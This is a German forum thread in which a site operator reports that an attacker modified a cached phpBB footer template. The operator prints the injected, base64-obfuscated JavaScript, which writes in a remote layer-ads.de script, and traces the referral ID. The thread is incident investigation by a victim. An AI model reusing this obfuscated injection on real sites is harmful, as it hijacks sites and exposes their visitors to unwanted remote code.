Hackerangriff mit Layer-Ads Werbung?
Verfasst: 13.10.2006 13:05
Hallo,
mir ist gerade was passiert was ich nicht wirklich verstehe.
Jemand hat auf meinem Server eine Datei modifiziert und eine Werbung eingebunden. Und zwar ist das eine spezielle Datei, die nur mit dem Categories Hierarchy Mod erstellt wird (Cachedatei von template-Dateien).
Nun ist diese Datei mein overall_footler.tpl. Die Cachedatei enthält die folgenden Zeilen: (zwei Leerzeilen hinzugefügt um Scrollen zu vermeiden)
Wie bekomme ich den String encodiert? Ich habe an Hand der Werbung schon die Refid "5666" ausfindig gemacht. Die Firma Layer-Ads von denen die Werbung stammt ist telefonisch nicht zu erreichen.
Dann weiter nach der Suche der Refid habe ich diesen Link gefunden:
http://www.funpic.de/forum/webhosting/t ... s-wert-%3B).html
Wenn das Kommentar von MySnakeBite sich auf den 1. Post bezieht, dann gehört die ID, dem User cl0nk und der hatte mal ein funpic Projekt unter:
http://cl0nk.funpic.de/
die leitet weiter auf eine leer seite unter:
http://clonk.cwsurf.de/clan/portal.php
die subdomain selbst scheint gehackt zu sein:
http://clonk.cwsurf.de/
Zitat:
http://forum.ebesucher.de/viewtopic.php ... b8cf208339
Ich studiere gerade die Logfiles durch. Wenn jemand was über die Refid herausfindet oder ähnliches bekannt ist würde ich mich freuen.
Gruß
mir ist gerade was passiert was ich nicht wirklich verstehe.
Jemand hat auf meinem Server eine Datei modifiziert und eine Werbung eingebunden. Und zwar ist das eine spezielle Datei, die nur mit dem Categories Hierarchy Mod erstellt wird (Cachedatei von template-Dateien).
Nun ist diese Datei mein overall_footler.tpl. Die Cachedatei enthält die folgenden Zeilen: (zwei Leerzeilen hinzugefügt um Scrollen zu vermeiden)
Code: Alles auswählen
<script type="text/javascript">var versch = 'PHNjcmlwdCBzcmM9Imh0dHA6Ly9sYXllci1hZHMuZGUvbGEtNTY2Ni1zd WJpZDp0ZXN0LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0Pg %3D%3D';var base64s = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; function decode(encStr) { var bits; var decOut = ''; var i = 0; for(; i<encStr.length; i += 4) { bits = (base64s.indexOf(encStr.charAt(i)) & 0xff) <<18 | (base64s.indexOf(encStr.charAt(i +1)) & 0xff) <<12 | (base64s.indexOf(encStr.charAt(i +2)) & 0xff) << 6 | base64s.indexOf(encStr.charAt(i +3)) & 0xff; decOut += String.fromCharCode((bits & 0xff0000) >>16, (bits & 0xff00) >>8, bits & 0xff); } if(encStr.charCodeAt(i -2) == 61) { return(decOut.substring(0, decOut.length -2)); } else if(encStr.charCodeAt(i -1) == 61) { return(decOut.substring(0, decOut.length -1)); } else {return(decOut)};} document.open(); document.write(decode(unescape(versch))); document.close();</script>Dann weiter nach der Suche der Refid habe ich diesen Link gefunden:
http://www.funpic.de/forum/webhosting/t ... s-wert-%3B).html
Wenn das Kommentar von MySnakeBite sich auf den 1. Post bezieht, dann gehört die ID, dem User cl0nk und der hatte mal ein funpic Projekt unter:
http://cl0nk.funpic.de/
die leitet weiter auf eine leer seite unter:
http://clonk.cwsurf.de/clan/portal.php
die subdomain selbst scheint gehackt zu sein:
http://clonk.cwsurf.de/
Zitat:
Auch hier habe ich die ID gefunden:BaCk_T0_Sch00l ownz! by __HyOgA__ :*
http://forum.ebesucher.de/viewtopic.php ... b8cf208339
Ich studiere gerade die Logfiles durch. Wenn jemand was über die Refid herausfindet oder ähnliches bekannt ist würde ich mich freuen.
Gruß
, ergo ist der Schaden schwer b emessbar, und es kommt aufs Verhaeltnis an .. aber bei Verhaelltnismaessigkeit kann Dir nur nen Rechtsanwalt helfen (denke aber eher, dass es sich nicht lohnt)